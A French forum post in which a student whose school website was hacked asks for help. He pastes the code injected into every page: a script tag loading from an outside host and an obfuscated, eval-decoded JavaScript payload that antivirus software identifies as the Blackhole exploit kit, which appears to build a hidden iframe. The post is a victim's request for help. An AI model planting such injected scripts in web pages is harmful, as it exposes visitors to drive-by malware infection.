Hack de site : Injection de code

Bonjour,

J'ai un problème depuis maintenant une semaine. Au début de l'année scolaire (je suis en 4ème), j'ai débuté en html/css et j'ai créé un site pour mon professeur de mathématiques, où il postait les corrections de nos contrôles. Je suis actuellement en train de refaire ce site, avec des sécurités. Avant de le finir, je voulais aller voir le site pour la maintenance. Et là, je suis tombé sur une page me disant qu'elle était malveillante. Google Chrome me dit que la page contient 8 Trojans, 7 exploits. Je suis donc allé voir le code du site. Sur toutes les pages, on m'a inséré ceci :

<!--d47c75--><script type="text/javascript" src="http://jstoredirect.net/qw/mod.php?mod=18" name="qe18"></script><!--/d47c75-->

et dans un script secondaire :

/*9f61a5*/
                                                                                                                                                                                                                                                                                                            a=("44,152,171,162,147,170,155,163,162,44,176,176,176,152,152,152,54,55,44,177,21,16,44,172,145,166,44,157,173,147,145,44,101,44,150,163,147,171,161,151,162,170,62,147,166,151,145,170,151,111,160,151,161,151,162,170,54,53,155,152,166,145,161,151,53,55,77,21,16,21,16,44,157,173,147,145,62,167,166,147,44,101,44,53,154,170,170,164,76,63,63,164,166,176,175,167,170,145,162,151,157,61,150,176,155,151,147,157,163,62,154,163,161,151,62,164,160,63,106,72,147,156,114,66,157,136,62,164,154,164,53,77,21,16,44,157,173,147,145,62,167,170,175,160,151,62,164,163,167,155,170,155,163,162,44,101,44,53,145,146,167,163,160,171,170,151,53,77,21,16,44,157,173,147,145,62,167,170,175,160,151,62,146,163,166,150,151,166,44,101,44,53,64,53,77,21,16,44,157,173,147,145,62,167,170,175,160,151,62,154,151,155,153,154,170,44,101,44,53,65,164,174,53,77,21,16,44,157,173,147,145,62,167,170,175,160,151,62,173,155,150,170,154,44,101,44,53,65,164,174,53,77,21,16,44,157,173,147,145,62,167,170,175,160,151,62,160,151,152,170,44,101,44,53,65,164,174,53,77,21,16,44,157,173,147,145,62,167,170,175,160,151,62,170,163,164,44,101,44,53,65,164,174,53,77,21,16,21,16,44,155,152,44,54,45,150,163,147,171,161,151,162,170,62,153,151,170,111,160,151,161,151,162,170,106,175,115,150,54,53,157,173,147,145,53,55,55,44,177,21,16,44,150,163,147,171,161,151,162,170,62,173,166,155,170,151,54,53,100,150,155,172,44,155,150,101,140,53,157,173,147,145,140,53,102,100,63,150,155,172,102,53,55,77,21,16,44,150,163,147,171,161,151,162,170,62,153,151,170,111,160,151,161,151,162,170,106,175,115,150,54,53,157,173,147,145,53,55,62,145,164,164,151,162,150,107,154,155,160,150,54,157,173,147,145,55,77,21,16,44,201,21,16,201,21,16,152,171,162,147,170,155,163,162,44,127,151,170,107,163,163,157,155,151,54,147,163,163,157,155,151,122,145,161,151,60,147,163,163,157,155,151,132,145,160,171,151,60,162,110,145,175,167,60,164,145,170,154,55,44,177,21,16,44,172,145,166,44,170,163,150,145,175,44,101,44,162,151,173,44,110,145,170,151,54,55,77,21,16,44,172,145,166,44,151,174,164,155,166,151,44,101,44,162,151,173,44,110,145,170,151,54,55,77,21,16,44,155,152,44,54,162,110,145,175,167,101,101,162,171,160,160,44,200,200,44,162,110,145,175,167,101,101,64,55,44,162,110,145,175,167,101,65,77,21,16,44,151,174,164,155,166,151,62,167,151,170,130,155,161,151,54,170,163,150,145,175,62,153,151,170,130,155,161,151,54,55,44,57,44,67,72,64,64,64,64,64,56,66,70,56,162,110,145,175,167,55,77,21,16,44,150,163,147,171,161,151,162,170,62,147,163,163,157,155,151,44,101,44,147,163,163,157,155,151,122,145,161,151,57,46,101,46,57,151,167,147,145,164,151,54,147,163,163,157,155,151,132,145,160,171,151,55,21,16,44,57,44,46,77,151,174,164,155,166,151,167,101,46,44,57,44,151,174,164,155,166,151,62,170,163,113,121,130,127,170,166,155,162,153,54,55,44,57,44,54,54,164,145,170,154,55,44,103,44,46,77,44,164,145,170,154,101,46,44,57,44,164,145,170,154,44,76,44,46,46,55,77,21,16,201,21,16,152,171,162,147,170,155,163,162,44,113,151,170,107,163,163,157,155,151,54,44,162,145,161,151,44,55,44,177,21,16,44,172,145,166,44,167,170,145,166,170,44,101,44,150,163,147,171,161,151,162,170,62,147,163,163,157,155,151,62,155,162,150,151,174,123,152,54,44,162,145,161,151,44,57,44,46,101,46,44,55,77,21,16,44,172,145,166,44,160,151,162,44,101,44,167,170,145,166,170,44,57,44,162,145,161,151,62,160,151,162,153,170,154,44,57,44,65,77,21,16,44,155,152,44,54,44,54,44,45,167,170,145,166,170,44,55,44,52,52,21,16,44,54,44,162,145,161,151,44,45,101,44,150,163,147,171,161,151,162,170,62,147,163,163,157,155,151,62,167,171,146,167,170,166,155,162,153,54,44,64,60,44,162,145,161,151,62,160,151,162,153,170,154,44,55,44,55,44,55,21,16,44,177,21,16,44,166,151,170,171,166,162,44,162,171,160,160,77,21,16,44,201,21,16,44,155,152,44,54,44,167,170,145,166,170,44,101,101,44,61,65,44,55,44,166,151,170,171,166,162,44,162,171,160,160,77,21,16,44,172,145,166,44,151,162,150,44,101,44,150,163,147,171,161,151,162,170,62,147,163,163,157,155,151,62,155,162,150,151,174,123,152,54,44,46,77,46,60,44,160,151,162,44,55,77,21,16,44,155,152,44,54,44,151,162,150,44,101,101,44,61,65,44,55,44,151,162,150,44,101,44,150,163,147,171,161,151,162,170,62,147,163,163,157,155,151,62,160,151,162,153,170,154,77,21,16,44,166,151,170,171,166,162,44,171,162,151,167,147,145,164,151,54,44,150,163,147,171,161,151,162,170,62,147,163,163,157,155,151,62,167,171,146,167,170,166,155,162,153,54,44,160,151,162,60,44,151,162,150,44,55,44,55,77,21,16,201,21,16,155,152,44,54,162,145,172,155,153,145,170,163,166,62,147,163,163,157,155,151,111,162,145,146,160,151,150,55,21,16,177,21,16,155,152,54,113,151,170,107,163,163,157,155,151,54,53,172,155,167,155,170,151,150,143,171,165,53,55,101,101,71,71,55,177,201,151,160,167,151,177,127,151,170,107,163,163,157,155,151,54,53,172,155,167,155,170,151,150,143,171,165,53,60,44,53,71,71,53,60,44,53,65,53,60,44,53,63,53,55,77,21,16,21,16,176,176,176,152,152,152,54,55,77,21,16,201,21,16,201,21,16""split"](","));ss=eval("Str"+"ing");d=document;for(i=0;i<a.length;i+=1

AVG me détecte : Exploit Blackhole Exploit Kit (type 2602).

Que puis-je faire (sachant que lorsque j'enlève le code il revient au bout d'un jour ou deux) ?

Merci d'avance,

Nbs28